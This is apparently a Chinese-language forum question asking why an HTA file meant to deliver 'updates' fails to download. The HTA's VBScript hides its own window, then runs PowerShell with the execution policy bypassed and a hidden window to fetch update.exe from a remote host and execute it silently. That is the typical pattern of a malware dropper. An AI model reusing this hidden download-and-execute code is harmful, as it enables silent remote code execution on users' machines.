我试图从myserver下载文件到我的客户端机器的updagte,一旦用户login并打开应用程序它将从服务器文件中具有以下代码的文件。
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Option Explicit Dim MyCmd,Ws,Ret Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") MyCmd = "cmd /c Powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://mytest.com/update.exe','%TEMP%\update.exe'); Start-Process %TEMP%\update.exe;" Ret = objShell.run(MyCmd,0,True) self.close </script> <body> demo </body> </HEAD> </HTML>
当我尝试通过mshta myscrpt.hta手动运行该文件时,它不会给出任何错误,但不会从服务器下载该文件。 一旦从服务器调用hta,我想要下载并执行文件。
问候